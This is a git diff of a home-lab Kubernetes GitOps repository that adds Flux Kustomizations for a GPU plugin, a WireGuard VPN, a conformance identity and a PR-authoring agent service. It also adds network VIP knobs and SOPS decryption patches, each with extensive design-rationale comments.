+    | grep -hoE 'R-[A-Z0-9]+-[0-9]+' \
     | tr '\n' ' ' || true)"
 
   # Normalize: split, unique, sort. Emit to stdout.

clusters/README.md

@@ -1,5 +1,19 @@
 # clusters/
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 Flux entrypoints and the environment-overlay model (**R-ENV-02**, **R-GITOPS-01/02/03**).
 
 Governing spec: [`docs/05-gitops-and-delivery.md`](../../home-network-k3s/docs/05-gitops-and-delivery.md),

clusters/base/cluster-vars.yaml

@@ -99,7 +99,11 @@ data:
   # (CILIUM_LB_POOL_*, and keycloak-db's S3_BACKUP_ENDPOINT + CNPG_BACKUP_PATH: the Cluster lives at
   # platform/keycloak/postgres-cluster.yaml but is rendered by platform-config, which is the ONLY
   # tier that lists it), crafty (CRAFTY_L4_VIP), apps-wave-0 (nextcloud-db + semaphore-db:
-  # S3_BACKUP_ENDPOINT, CNPG_BACKUP_PATH), velero (S3_BACKUP_ENDPOINT, S3_BACKUP_REGION,
+  # S3_BACKUP_ENDPOINT, CNPG_BACKUP_PATH; pihole + pihole-dns: PIHOLE_DNS_VIP, LAN_CIDR, plus
+  # GATEWAY_VIP/UNIFI_L4_VIP/CRAFTY_L4_VIP read BY pihole to author its LAN split-horizon answers;
+  # plex-remote + pihole: PLEX_L4_VIP),
+  # vpn-ingress (WG_CLIENT_CIDR),
+  # velero (S3_BACKUP_ENDPOINT, S3_BACKUP_REGION,
   # VELERO_BACKUP_BUCKET, VELERO_BACKUP_PREFIX), apps-vms (UNIFI_L4_VIP). A ${TOKEN} in an
   # UNSUBSTITUTED path would ship the literal string into the cluster.
   #
@@ -159,6 +163,75 @@ data:
   # HTTPS Gateway cannot express (raw TCP/UDP), so they hold their own stable address:
   UNIFI_L4_VIP: "192.168.1.54"               # UniFi controller VM: inform/STUN/adoption (apps/vms/unifi)
   CRAFTY_L4_VIP: "192.168.1.55"              # Crafty: Minecraft Java (TCP) + Bedrock (UDP) game ports
+  # PiHole's DNS listener: udp/53 + tcp/53 for LAN CLIENTS (apps/wave-0/pihole-dns.yaml). It is a
+  # THIRD pinned L4 VIP for the same reason as the two above — the `shared` Gateway is an L7 HTTPS
+  # terminator and cannot express DNS at all (udp/53 especially). It must NOT be ${GATEWAY_VIP}:
+  # LAN clients are pointed at this address as their resolver, and it has to stay put across
+  # reschedules, so it is pinned by lbipam.cilium.io/ips rather than taken from the pool head.
+  #
+  # WHY A SEPARATE ADDRESS AND NOT THE GATEWAY VIP: every `<svc>.${BASE_DOMAIN}` name resolves TO
+  # the Gateway VIP. Serving DNS from the same address would be legal but conflates "the thing that
+  # answers where services live" with "a service", and it would put LAN resolution behind the
+  # Gateway Service's own lifecycle. Keep them separate.
+  #
+  # dev  -> 192.168.1.56  (base default; next free after crafty .55 in dev's .53-.60 pool)
+  # prod -> 192.168.2.23  (next free after crafty .22 in prod's .20-.30 pool; see clusters/prod)
+  PIHOLE_DNS_VIP: "192.168.1.56"             # PiHole: authoritative LAN DNS for ${BASE_DOMAIN}
+  # Plex's remote-access listener: raw tcp/32400 for REMOTE Plex clients (apps/wave-0/plex-remote.yaml).
+  # A FOURTH pinned L4 VIP, for the usual reason — the `shared` Gateway is an L7 HTTPS terminator and
+  # cannot carry Plex's own TLS. Plex clients do not resolve `plex.${BASE_DOMAIN}`; they fetch this
+  # server's address from plex.tv, so the Gateway's L7 path (which still serves the web UI, and was
+  # measured working) cannot put the server on a client's connection list at all.
+  #
+  # PINNED, AND THE PIN IS LOAD-BEARING OFF-REPO: the SOHO router forwards WAN tcp/32400 to this
+  # address by hand. A VIP taken from the pool head would silently move on a reschedule and break
+  # remote access with nothing in-cluster looking wrong. See runbooks/plex-remote-access.md.
+  #
+  # dev  -> 192.168.1.57  (base default; next free after pihole-dns .56 in dev's .53-.60 pool)
+  # prod -> 192.168.2.24  (next free after pihole-dns .23 in prod's .20-.30 pool; see clusters/prod)
+  PLEX_L4_VIP: "192.168.1.57"                # Plex: tcp/32400 remote access (NOT the web UI, which is L7)
+  # SECOND CONSUMER since 2026-10-04: catalog/pihole.yaml reads this knob to answer
+  # plex-vip.${BASE_DOMAIN} on the LAN, which is the local half of the single hostname Plex
+  # advertises to plex.tv. Without that per-host answer the zone wildcard sends the name to
+  # ${GATEWAY_VIP}, where nothing listens on 32400. So this value is now typed into THREE places
+  # that must agree: this knob, the WAN port-forward on the SOHO router (off-repo), and PiHole's
+  # answer -- and only the first two were true before.
+
+
+  # The FLAT LAN this cluster's nodes and LB VIPs live on, in CIDR form. Consumed as the ingress
+  # peer of the PiHole DNS CiliumNetworkPolicy (apps/wave-0/pihole-dns.yaml): a resolver reachable
+  # from `world` is an open resolver and an amplification reflector, so the allow is scoped to this
+  # CIDR, not to Cilium's `world` entity the way the unifi/crafty game-port allows are. It is the
+  # same /24 the node IPs and ${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP} come out of.
+  #
+  # dev  -> 192.168.1.0/24  (Proxmox LAN; nodes .50/.51/.52)
+  # prod -> 192.168.2.0/24  (prod LAN; nodes .10/.11/.12)
+  LAN_CIDR: "192.168.1.0/24"                 # ingress scope for the PiHole DNS listener
+
+  # --- Remote-access VPN client subnet (platform/vpn-ingress, WireGuard) --------------------------
+  # The tunnel subnet handed to REMOTE VPN clients. `.1` is the server (the hostNetwork DaemonSet,
+  # on every node); `.2`-`.254` are devices, allocated one /32 each in
+  # platform/vpn-ingress/peers.yaml. Consumed twice in the pod's config-assembly script: to derive
+  # the server's own address, and as the `-s` match of the MASQUERADE rule that makes LAN replies
+  # routable.
+  #
+  # IT IS A KNOB RATHER THAN A LITERAL FOR ONE REASON: it is the only address range in this cluster
+  # that must be checked against EVERY OTHER range at once, so it belongs where those are declared.
+  # 10.90.0.0/24 was chosen to collide with none of them:
+  #     10.0.0.0/16     Cilium cluster-pool pod CIDR     (${CLUSTER_POD_CIDR})
+  #     10.43.0.0/16    k3s service CIDR                 (measured live 2026-10-05: kubernetes svc
+  #                                                       clusterIP 10.43.0.1)
+  #     10.72.192.0/18  the PIA tunnel's pushed addresses (platform/vpn-egress)
+  #     192.168.1.0/24  dev LAN / pfSense LAN            (${LAN_CIDR} base default)
+  #     192.168.2.0/24  prod LAN                         (${LAN_CIDR} on prod)
+  #
+  # NO PER-ENVIRONMENT OVERRIDE, and that is deliberate rather than an omission: unlike every VIP
+  # above, this range is NOT drawn from the LAN. It is private to the tunnel, so the same value is
+  # correct in both environments and a prod patch would be a no-op that implies otherwise.
+  #
+  # IF YOU CHANGE IT, every already-issued client profile breaks (its `Address` is from this range)
+  # and must be re-rendered — so treat it as fixed once the first device is enrolled.
+  WG_CLIENT_CIDR: "10.90.0.0/24"             # remote VPN clients; .1 = server. NOT a LAN range
 
   # --- Bulk (external NFS) storage host (docs/04 bulk tier) ---------------------------------------
   # THE address of the Proxmox host whose ZFS datasets back every `class: bulk` volume: the media

clusters/base/conformance.yaml

@@ -0,0 +1,31 @@
+---
+# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
+#
+# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
+# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
+# meant to verify is worse than no harness.
+#
+# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
+# waves needs it.
+#
+# NOTE: this reconciles RBAC that is INERT until
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
+# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
+# trigger identity can exist while the policy bounding it does not.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: conformance
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./conformance/incluster

clusters/base/homepage.yaml

@@ -34,8 +34,12 @@ spec:
     kind: GitRepository
     name: flux-system
   path: ./platform/homepage
-  # Homepage references no ${VARS} today; the substitution is retained for parity with the other
-  # tiers / future overlay knobs.
+  # LOAD-BEARING, not parity decoration (the comment here used to say the opposite). This component
+  # references ${BASE_DOMAIN} in TWO places: httproute.yaml's apex hostname, and EVERY tile href in
+  # configmap.yaml. Without this substitution the token is applied LITERALLY — the apex route binds
+  # the host `${BASE_DOMAIN}`, which matches no Gateway listener, and every link on the operator's
+  # front door points at a host that does not exist — while Flux still reports this Kustomization
+  # Ready. It fails OPEN. Asserted by conformance/tests/l0-static/c2-root-surface (5).
   postBuild:
     substituteFrom:
       - kind: ConfigMap

clusters/base/intel-gpu-plugin.yaml

@@ -0,0 +1,104 @@
+---
+# Flux Kustomization: Intel GPU device plugin — reconciles ./platform/intel-gpu-plugin.
+# Makes the three prod nodes advertise `gpu.intel.com/i915`, which is the resource a later PR will
+# have `hardware.gpu: intel-quicksync` request in place of today's non-working /dev/dri hostPath.
+#
+# WHY ITS OWN KUSTOMIZATION, AND NOT ONE LINE IN platform/kustomization.yaml
+#
+# The cheap option was a line in the shared `platform` tier plus a new platform/ directory, and
+# neither path is sensitive in infra/gitea/approval-policy.json, so it would have needed no human
+# reviewer on the policy's terms. It is still the wrong place, for the reason the repo already
+# wrote down in platform/kustomization.yaml when Cilium was split out of that tier:
+#
+#   * `platform` is `wait: true` over eleven-plus components, so its Ready condition cannot tell
+#     you "the GPU plugin is wedged" from "longhorn is slow".
+#   * The only emergency valve would be `flux suspend kustomization platform` — freezing storage,
+#     TLS, DNS, ingress, monitoring, Keycloak and KubeVirt in order to stop touching a device
+#     plugin.
+#   * The tier's 10m interval / 5m timeout are explicitly called out there as WRONG for a 3-node
+#     DaemonSet rollout. This is a 3-node DaemonSet rollout.
+#
+# And the consequence is worse here than for an average component, because of what sits downstream:
+# `platform` gates platform-config, which gates apps-wave-0 (wait:true), which gates apps-wave-1.
+# A plugin DaemonSet that never went healthy inside that tier would stall every app on "dependency
+# not ready" — i.e. a component added to fix a SILENT NO-OP (software transcoding) would have
+# acquired the ability to cause a REAL OUTAGE. That trade is the whole argument.
+#
+# The usual objection to this placement is the approval cost, and it does not apply: Gitea enforces
+# `required_approvals: 1` with `block_admin_merge_override: true` on EVERY PR here regardless of
+# path, and authors cannot self-approve. So this change needed the operator's approval either way;
+# touching clusters/** costs nothing extra and buys a blast radius of exactly one component.
+#
+# dependsOn: [cilium], WHICH IS THE MINIMUM AND ALSO THE EARLIEST
+#
+# Not platform-config (what headlamp/crafty/homepage/oauth2-proxy use) — those are leaf UIs that
+# genuinely need Keycloak + wildcard TLS + split-horizon DNS + Gateway. This plugin needs none of
+# it. It never uses the network and never talks to the API server; it talks to the local kubelet
+# over a unix socket. Its only real prerequisite is a working CNI, so its pod can get a sandbox at
+# all, and `cilium` already depends on `flux-system` (the root Kustomization that applies the
+# cluster-vars ConfigMap this one substitutes from), so that edge is transitively satisfied too.
+#
+# Depending on `cilium` rather than `platform` also gets the resource advertised EARLIEST — this
+# reconciles in parallel with the `platform` tier instead of behind all eleven of its components.
+# That matters on a cold start once the consumer PR lands: a Plex pod requesting a resource no node
+# advertises is Unschedulable, and apps-wave-0 is wait:true. Reconciling early shrinks that window
+# instead of widening it. It is not a GUARANTEE — see the ordering note below, which is a real
+# constraint on the next PR and not a formality.
+#
+# Kyverno (in `platform`) is deliberately NOT a dependency: every policy that could match this
+# workload is scoped to namespaces labelled app-namespace=true, and this namespace is labelled
+# "false" (platform/intel-gpu-plugin/namespace.yaml). So there is no admission race to lose.
+#
+# wait: true — A HEALTH SIGNAL, NOT A GATE. This is the one place this component departs from the
+# headlamp/crafty leaf template, and the departure is deliberate. Those run wait:false because a
+# leaf UI can be legitimately not-Ready for a long time during a cold start while it waits on
+# Keycloak/DNS/TLS, so its health is not a useful signal. This DaemonSet has no such dependency: it
+# reads sysfs and opens a socket, so on healthy nodes it should be Ready in seconds, and
+# not-Ready genuinely means BROKEN. wait:true turns `flux get kustomization intel-gpu-plugin` into
+# a one-line answer to "did the plugin come up on all three nodes", which is exactly the question
+# the operator must answer before the consumer PR may merge.
+#
+# NOTHING IN THE GRAPH dependsOn THIS, so wait:true gates nothing — the blast radius of an unhealthy
+# plugin is this Kustomization's own Ready condition and nothing else. Anyone later adding
+# `dependsOn: [intel-gpu-plugin]` is choosing to make plugin health gate their thing; for the app
+# waves that would hand a device plugin the power to stall every app, which is the thing this file
+# exists to prevent. Think before adding that edge.
+#
+# ORDERING — DO NOT REORDER THE STACK. The renderer change (catalog/render.py emitting
+# `gpu.intel.com/i915: 1` for `hardware.gpu: intel-quicksync` instead of the hostPath) must NOT
+# land until this plugin is merged AND confirmed advertising the resource on all three nodes. If
+# the renderer requests a resource no node advertises, the Plex pod is Unschedulable; apps-wave-0 is
+# wait:true and apps-wave-1 dependsOn it, so that stalls the whole app tier — turning today's silent
+# no-op into a real outage. This PR's only job is to make the resource exist.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: intel-gpu-plugin
+  namespace: flux-system
+spec:
+  # Static vendored manifests with nothing to re-render; kustomize-controller is source-triggered,
+  # so this is only the drift-correction floor.
+  interval: 10m
+  retryInterval: 2m
+  # 10m, not the 5m the `platform` tier uses: a 3-node DaemonSet rollout under `wait: true` can
+  # exceed 5m on a cold start (image pull on three nodes), and the Cilium split-out comment calls
+  # out that exact mismatch as one of its reasons for leaving the shared tier.
+  timeout: 10m
+  prune: true
+  # See the header: a health SIGNAL for a component nothing depends on, not a gate.
+  wait: true
+  dependsOn:
+    - name: cilium   # the CNI — the only real prerequisite; transitively gives us flux-system too
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/intel-gpu-plugin
+  # Retained for parity with every other tier / future overlay knobs. This component references no
+  # ${VARS} today, and its manifests contain no `$` literals for envsubst to eat (unlike
+  # clusters/base/runbooks.yaml, which omits substitution for exactly that reason).
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars
+  # No SOPS decryption patch: this component carries no Secret, so clusters/dev adds nothing for it
+  # (same as homepage/runbooks, unlike headlamp/crafty/oauth2-proxy/backup).

clusters/base/kustomization.yaml

@@ -12,6 +12,15 @@ resources:
   # interval/timeout, and `flux suspend kustomization cilium` as an emergency valve that does not
   # freeze the other eleven platform components. See clusters/base/cilium.yaml.
   - cilium.yaml          # Flux Kustomization -> ./platform/cilium (dependsOn flux-system, wait:true)
+  # Intel GPU device plugin — its OWN Kustomization (dependsOn cilium, wait:true), NOT a line in
+  # platform/kustomization.yaml. Same reasoning as the Cilium split-out, applied to a leaf: inside
+  # that wait:true tier a wedged 3-node DaemonSet would be indistinguishable from eleven unrelated
+  # components AND would stall platform-config + every apps wave on "dependency not ready" — so a
+  # component added to fix a silent no-op (Plex software transcoding) could cause a real outage.
+  # wait:true here is a HEALTH SIGNAL, not a gate: nothing in the graph dependsOn it.
+  # It advertises `gpu.intel.com/i915`; the renderer change that REQUESTS that resource must land
+  # strictly later. See clusters/base/intel-gpu-plugin.yaml.
+  - intel-gpu-plugin.yaml # Flux Kustomization -> ./platform/intel-gpu-plugin (dependsOn cilium)
   - platform.yaml        # Flux Kustomization -> ./platform (CONTROLLERS: HelmReleases / CRDs)
   - platform-config.yaml # Flux Kustomization -> ./platform-config (CONFIGS: CRs; dependsOn platform)
   # SECOND-ORDER CDI configs — CRs whose CRD is created by a controller AT RUNTIME, not by any
@@ -33,6 +42,7 @@ resources:
   - apps-wave-2.yaml     # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
   # VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
   - apps-vms.yaml        # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
+  - conformance.yaml     # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
   # oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
   # service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
   # `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
@@ -61,4 +71,18 @@ resources:
   # controller must NEVER gate the platform chain; same non-gating rationale as headlamp/oauth2-proxy.
   # Carries velero-cloud.sops.yaml, so clusters/dev adds a SOPS decryption patch for it (by name).
   - backup.yaml          # Flux Kustomization -> ./platform/velero (dependsOn platform-config)
+  # WireGuard remote-access VPN (north-south INGRESS, udp/51820) — POST-platform tier
+  # (dependsOn platform-config, wait:false). NOT the same thing as platform/vpn-egress, which sends
+  # pods OUT through PIA; this lets remote CLIENTS IN. Non-gating is load-bearing rather than
+  # conventional here: its DaemonSet cannot start until the operator creates the out-of-band
+  # `wg-server-key` Secret, so in the gating `platform` tier an unfinished manual step would have
+  # stalled every apps wave. Carries no SOPS secret, so neither overlay adds a decryption patch.
+  - vpn-ingress.yaml     # Flux Kustomization -> ./platform/vpn-ingress (dependsOn platform-config)
+  # PM agent — reads Gitea issues and runs one worker agent per assignment that authors a
+  # change, gates it and opens a pull request. POST-APP tier (dependsOn apps-wave-0,
+  # wait:false): what it needs is GITEA, not Keycloak or the Gateway, and it must never gate
+  # anything — it CrashLoops by design while its credentials are still placeholders. Carries
+  # pm-agent-credentials.sops.yaml, so both overlays add a SOPS decryption patch for it (by
+  # name). See clusters/base/pm-agent.yaml and platform/pm-agent/README.md.
+  - pm-agent.yaml        # Flux Kustomization -> ./platform/pm-agent (dependsOn apps-wave-0)
   - cluster-vars.yaml    # overlay knob surface (base defaults)

clusters/base/pm-agent.yaml

@@ -0,0 +1,57 @@
+---
+# Flux Kustomization: the PM agent service — reconciles ./platform/pm-agent.
+#
+# POST-APP TIER (dependsOn apps-wave-0). What this service actually depends on is GITEA: the
+# dispatcher authenticates to it at startup, reads issue threads from it, and every worker
+# clones and pushes to it. Gitea is in apps-wave-0, so that is the dependency — not
+# platform-config, which brings up the Keycloak realm, the wildcard certificate, the Gateway
+# and the L2 pool. This service has no UI, serves no traffic, takes no ingress and holds no
+# certificate, so none of those are prerequisites and claiming them would be a lie that
+# delays its reconcile behind four things it does not use.
+#
+# NON-GATING (wait:false), and here that is not merely prudent — the pod is EXPECTED to be
+# unhealthy for a while:
+#   * the committed credentials are PLACEHOLDERS, so until the operator replaces them the
+#     dispatcher fails its Gitea authentication at startup and CrashLoops, by design
+#     (platform/pm-agent/pm-agent-credentials.sops.yaml.example);
+#   * the image digest is likewise a placeholder until the operator pushes the image, so
+#     before that the pod cannot even pull.
+# Either of those inside a wait:true tier would stall everything downstream of it. wait:false
+# guarantees this service's health can NEVER gate anything, even if some future resource is
+# mistakenly pointed dependsOn it. Same non-gating leaf rationale as
+# headlamp/homepage/crafty/backup — with a stronger reason than any of them.
+#
+# PRUNE: true. The whole namespace is disposable — the dispatcher keeps no durable state (the
+# Gitea issue thread is its state) and worker Jobs are ephemeral by construction. So removing
+# this service from git really should remove it from the cluster, with nothing to orphan.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: pm-agent
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: apps-wave-0   # Gitea: the repository this service reads issues from and pushes to
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/pm-agent
+  # cluster-vars is substituted for parity with every other tier. NOTE for anyone editing
+  # platform/pm-agent/: envsubst runs over the WHOLE rendered manifest, comments included, so
+  # a `${...}` meant for a shell would be replaced with the empty string before the container
+  # starts (the hazard catalog/README.md documents at length — it silently killed gitea's and
+  # nextcloud's OIDC registration for days). Nothing under platform/pm-agent/ uses a `${}`
+  # token today, and the two scripts that DO contain shell live in the image, not in a
+  # manifest, which is one more reason they are baked in rather than mounted from a ConfigMap.
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars
+  # SOPS decryption for pm-agent-credentials.sops.yaml is layered per-environment by the
+  # overlay (clusters/prod and clusters/dev patch THIS Kustomization by name), identical to
+  # crafty/headlamp/oauth2-proxy/backup.

clusters/base/vpn-ingress.yaml

@@ -0,0 +1,59 @@
+---
+# Flux Kustomization: WireGuard remote-access VPN — reconciles ./platform/vpn-ingress.
+#
+# POST-PLATFORM TIER (dependsOn platform-config), NON-GATING (wait:false). Not a line in
+# platform/kustomization.yaml, for the standard reason plus one specific to this component:
+#
+#   * STANDARD: a leaf must never sit in the gating `platform` tier. While `platform` is not-Ready
+#     NOTHING downstream reconciles — the incident behind the headlamp/oauth2-proxy/homepage moves
+#     (DECISIONS-LOG: "Headlamp gating stall").
+#   * SPECIFIC, AND THE REASON THIS IS NOT A JUDGEMENT CALL: this DaemonSet cannot start until the
+#     operator replaces the `REPLACE-ME` placeholder in platform/vpn-ingress/wg-server-key.sops.yaml
+#     with a real key (runbooks/vpn-remote-access.md step 2). That is the correct fail-closed state — an unenrolled VPN must not come up — but in
+#     the gating tier it would have been a self-inflicted platform-wide outage ON MERGE, with the
+#     cause (a missing manual step) invisible from any Flux condition.
+#
+# WHY dependsOn platform-config AND NOT cilium. This component needs no Gateway, no TLS cert, no
+# Keycloak and no LB-IPAM pool — it has no HTTPRoute and no LoadBalancer Service, and hostNetwork
+# means it does not even need a Cilium endpoint. It could legally reconcile much earlier. It is
+# pinned behind platform-config anyway so that the ONE thing remote clients actually consume
+# through it — split-horizon DNS and the shared Gateway — exists by the time the tunnel does.
+# A tunnel that comes up before the things on the far side of it is a support call, not a feature.
+#
+# wait:false: nothing in the graph dependsOn this, and its pods are legitimately not-Ready whenever
+# the server key is absent or the `wireguard` kernel module has not been loaded on a node. Neither
+# condition should be able to gate anything else, even if a future resource is mistakenly pointed
+# at it.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: vpn-ingress
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/vpn-ingress
+  # REQUIRED, not boilerplate: platform/vpn-ingress/daemonset.yaml renders ${WG_CLIENT_CIDR} into
+  # the config-assembly script. Without this block that token becomes the EMPTY STRING and the
+  # Kustomization still reports Ready (Flux's substitution fails OPEN — ci:
+  # flux-postbuild-substitution), leaving an initContainer that derives a server address of ".1/"
+  # and a MASQUERADE rule with no source. Both fail loudly at pod start, but the Kustomization
+  # would look healthy.
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars
+  # SOPS decryption is layered per-environment by the overlay (clusters/dev and clusters/prod each
+  # patch THIS Kustomization by name), identical to headlamp/crafty/velero — this path carries
+  # platform/vpn-ingress/wg-server-key.sops.yaml, the WireGuard server private key. The `sops-age`
+  # Secret is created out of band and referenced by NAME only. Without the overlay patch the Secret
+  # applies cleanly full of ENC[...] and only the tunnel is broken, so the patch is as load-bearing
+  # as the encrypted file itself.

clusters/dev/kustomization.yaml

@@ -122,6 +122,60 @@ patches:
           provider: sops
           secretRef:
             name: sops-age
+  # vpn-ingress (the WireGuard remote-access VPN, clusters/base/vpn-ingress.yaml) carries
+  # platform/vpn-ingress/wg-server-key.sops.yaml — the WireGuard SERVER private key, the one
+  # secret in that component. Without this stanza kustomize hands Flux the raw ciphertext and the
+  # Secret applies full of ENC[...]: the APPLY SUCCEEDS and every Flux condition stays green, and
+  # the only symptom is a VPN that no client can handshake with. The DaemonSet's init container
+  # validates the value with `wg pubkey` specifically so that state is a named CrashLoop instead.
+  # The `sops-age` Secret is out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: vpn-ingress
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
+  # pm-agent (the Program Manager agent service, clusters/base/pm-agent.yaml) carries
+  # pm-agent-credentials.sops.yaml — the Gitea write token for the dedicated non-admin bot
+  # account and the Anthropic subscription token from `claude setup-token`. Without this
+  # stanza kustomize hands Flux the raw SOPS document and the Secret applies full of
+  # ciphertext: the APPLY SUCCEEDS, and the only symptom is a dispatcher that cannot
+  # authenticate to Gitea — so this stanza is as load-bearing as the file it decrypts (same
+  # silent-failure shape as the apps-vms note below/above). The `sops-age` Secret is created
+  # out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: pm-agent
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
+  # apps-vms (the KubeVirt VM tier, clusters/base/apps-vms.yaml) gained its FIRST encrypted Secret
+  # on 2026-09-14: apps/vms/unifi/unifi-uos-installer.sops.yaml, the operator's UOS installer URL,
+  # which 30-virtualmachine.yaml mounts into the guest as a disk. Without this stanza kustomize
+  # would hand Flux the raw SOPS document and the VM would mount a disk full of ciphertext — the
+  # failure is silent from the cluster's point of view (the Secret applies fine), so the stanza is
+  # as load-bearing as the file itself. The `sops-age` Secret is out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: apps-vms
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
   - patch: |-
       apiVersion: source.toolkit.fluxcd.io/v1
       kind: GitRepository

clusters/prod/kustomization.yaml

@@ -113,6 +113,60 @@ patches:
           provider: sops
           secretRef:
             name: sops-age
+  # vpn-ingress (the WireGuard remote-access VPN, clusters/base/vpn-ingress.yaml) carries
+  # platform/vpn-ingress/wg-server-key.sops.yaml — the WireGuard SERVER private key, the one
+  # secret in that component. Without this stanza kustomize hands Flux the raw ciphertext and the
+  # Secret applies full of ENC[...]: the APPLY SUCCEEDS and every Flux condition stays green, and
+  # the only symptom is a VPN that no client can handshake with. The DaemonSet's init container
+  # validates the value with `wg pubkey` specifically so that state is a named CrashLoop instead.
+  # The `sops-age` Secret is out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: vpn-ingress
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
+  # pm-agent (the Program Manager agent service, clusters/base/pm-agent.yaml) carries
+  # pm-agent-credentials.sops.yaml — the Gitea write token for the dedicated non-admin bot
+  # account and the Anthropic subscription token from `claude setup-token`. Without this
+  # stanza kustomize hands Flux the raw SOPS document and the Secret applies full of
+  # ciphertext: the APPLY SUCCEEDS, and the only symptom is a dispatcher that cannot
+  # authenticate to Gitea — so this stanza is as load-bearing as the file it decrypts (same
+  # silent-failure shape as the apps-vms note below/above). The `sops-age` Secret is created
+  # out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: pm-agent
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
+  # apps-vms (the KubeVirt VM tier, clusters/base/apps-vms.yaml) gained its FIRST encrypted Secret
+  # on 2026-09-14: apps/vms/unifi/unifi-uos-installer.sops.yaml, the operator's UOS installer URL,
+  # which 30-virtualmachine.yaml mounts into the guest as a disk. Without this stanza kustomize
+  # would hand Flux the raw SOPS document and the VM would mount a disk full of ciphertext — the
+  # failure is silent from the cluster's point of view (the Secret applies fine), so the stanza is
+  # as load-bearing as the file itself. Mirrors clusters/dev. `sops-age` is out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: apps-vms
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
   # --- GitOps source (operator decision 2026-09-01: prod tracks the SAME BRANCH as dev) ---
   #
   # ############################################################################################
@@ -349,8 +403,16 @@ patches:
       # Size-cap below the 50Gi PVC (headroom for WAL + head + compaction scratch): prod may hit the
       # size cap before 30d if series volume is high, keeping the disk from filling either way.
       - op: replace
+      # LOWERED 45GiB -> 36GiB on 2026-09-13. 45 of 50Gi left only 5 GiB, which is not headroom for
+      # what the comment above already names: retentionSize counts ONLY persisted blocks, not the WAL,
+      # not the head's in-flight segments, and not compaction scratch, and a large compaction can need
+      # roughly the size of the blocks being merged. At 90% one bad compaction is ENOSPC, and ENOSPC on
+      # /prometheus wedges every WAL commit: scrapes keep succeeding, nothing is stored, and every
+      # absent()/==0 alert in the platform fires falsely at once. Costs NO history: the TSDB is 11.2 GiB
+      # at 30d today, so 36GiB is ~3x current and 30d stays the binding limit. To keep more history,
+      # grow the PVC rather than the fraction of it.
         path: /data/MONITORING_PROMETHEUS_RETENTION_SIZE
-        value: "45GiB"
+        value: "36GiB"
       - op: replace
         path: /data/MONITORING_LOKI_PVC_SIZE
         value: "50Gi"
@@ -440,6 +502,43 @@ patches:
       - op: replace
         path: /data/CRAFTY_L4_VIP
         value: "192.168.2.22"
+      # PiHole's DNS listener VIP — udp/53 + tcp/53 for LAN clients (apps/wave-0/pihole-dns.yaml).
